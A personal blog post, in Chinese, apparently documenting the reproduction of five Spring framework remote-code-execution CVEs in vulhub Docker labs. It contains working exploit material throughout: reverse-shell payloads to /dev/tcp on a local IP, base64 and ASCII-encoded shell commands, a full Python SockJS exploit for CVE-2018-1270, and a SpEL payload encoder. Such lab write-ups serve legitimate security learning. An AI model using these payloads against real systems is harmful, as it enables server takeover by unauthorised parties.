最近B战华强买瓜、热辣滚烫、杰哥不要、3句话18w这几个素材频繁推荐在爷得首页,真是受不了,一刷就刷了两天,结果说要周末干的活儿除了写了一个监控脚本,其他的啥也没干,不过嘛,几个漏洞的漏洞复现,不牵扯原理分析的话,环境我都有,还是挺好实现的🐢
我对微容器的理解真是一概不知,等刷完微服务的视频要去好好看看docker和k8s了
双开kail2021和ubuntu20.04就能吃我60内存了,开发工具和一些其他工具都没开,我明明是今年3月才买的新电脑啊😲 ,烦内
这次基于spring框架的漏洞复现参考这几篇文章:
1、漏洞复现—Spring CVE-2016-4977/CVE-2017-4971/CVE-2017-8046/CVE-2018-1270/CVE-2018-1273
首先,Spring概念没啥好说的,其中有个SpEL(我猜他是基于反射机制的表达式引擎)是和Spring漏洞有很大关系,没太了解过,以后关注。
然后,搭环境,那没什么,我都有,有一点要注意就是这个vulhub我以前没用过,最近这两天github又上不去了,我的host策略好像也不行了,就去gitee找了个实时更新github的vulhub库克隆了。
Docker常用命令😫 :
1、Spring Web Flow 远程代码执行漏洞(CVE-2017-4971)漏洞复现
也可以参照Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)这篇来做漏洞复现,docker指令比较全,启停常用这几个:
docker-compose build //拉镜像(进入到vulhub某个具体目录后)
docker-compose up -d //拉镜像(进入到vulhub某个具体目录后)
docker ps -a //镜像查询(查到的第一列就是ID值)
docker ps //查启动着的镜像
docker exec -it ID /bin/bash //进入指定镜像里面(根据docker ps -a查出的ID进入)
docker-compose down //关闭镜像(每次用完后关闭)
首先,起环境到有Confirm按钮页面,点击抓包
kali启动nc监听本地8081
在burp抓包后添加如下内容:
&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.6.128/8081 0>%261")).start()=vulhub
不过我看.start()后面的 =vulhub根本就是多余的嘛,我写jinyunlong写longyunjin或者不写也都一样啊,本质不是去用ProcessBuilder调命令行吗,=xxx这是干啥的没太明白
ProcessBuilder用法可以看看使用ProcessBuilder执行命令行操作。
可以成功反弹shell,证明存在远程命令执行漏洞
2、Spring Messaging 远程命令执行漏洞(CVE-2018-1270)漏洞复现
装完环境访问以下页面即安装成功
然后exp需要把ip换成目标地址,反弹命令要进行编码,exp:
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)
def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)
def send(self, command, headers, body=''):
data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")
def __del__(self):
self.session.close()
sockjs = SockJS('http://目标IP:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': "T(java.lang.Runtime).getRuntime().exec('touch test')",
'id': 'sub-0',
'destination': '/topic/greetings'
})
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)
在线编码网站:java.lang.Runtime.exec() Payload Workarounds
nc监听本地端口,执行exp,反弹shell成功
3、Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)漏洞复现
开始抓包,然后修改,这里上传一个bash文件到镜像中(靶机接收该文件 将对应代码放到前面的数据包)去,bash中的内容是反弹shell命令
需要一个命令监听80端口然后传文件:
sudo python -m SimpleHTTPServer 80
传输成功后,可以进入镜像tmp目录下cat下1文件,发现代码已经被写入1文件
进入指定容器镜像命令:
docker exec -it CONTAINER ID /bin/bash
然后kali监听8687端口,再次修改包内容,变成执行该文件,即可反弹shell
4、Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)漏洞复现
装完环境访问以下页面即安装成功
这里要执行反弹命令,要对命令进行两次转换,第一次编码base64,第二次转换为对应的ASCII码值
bash:
bash -i >& /dev/tcp/192.168.6.128/8688 0>&1
一次编码:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYuMTI4Lzg2ODggMD4mMQ==}|{base64,-d}|{bash,-i}
二次编码:
98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,89,117,77,84,73,52,76,122,103,50,79,68,103,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125
然后,把包修改请求方式为PATCH,修改Content-Type,构造包内容,成功反弹shell
5、Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)漏洞复现
我C,这个也要二次编码,用靶场自己带的poc.py二次编码就行,编完特长。
还是,先起环境,登录用户密码admin:admin,出来如下页面为成功:
直接把bash编码吧,过程不贴了
要用python3二次编码:
把编码完的poc内容放在请求url中的response_type,发包即可反弹shell:
poc.py:
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
复现完了,原理没看,以后慢慢看,也没指纹,也就能写脚本扫这几个url指定路径看返回结果,总之这5个都是命令执行漏洞。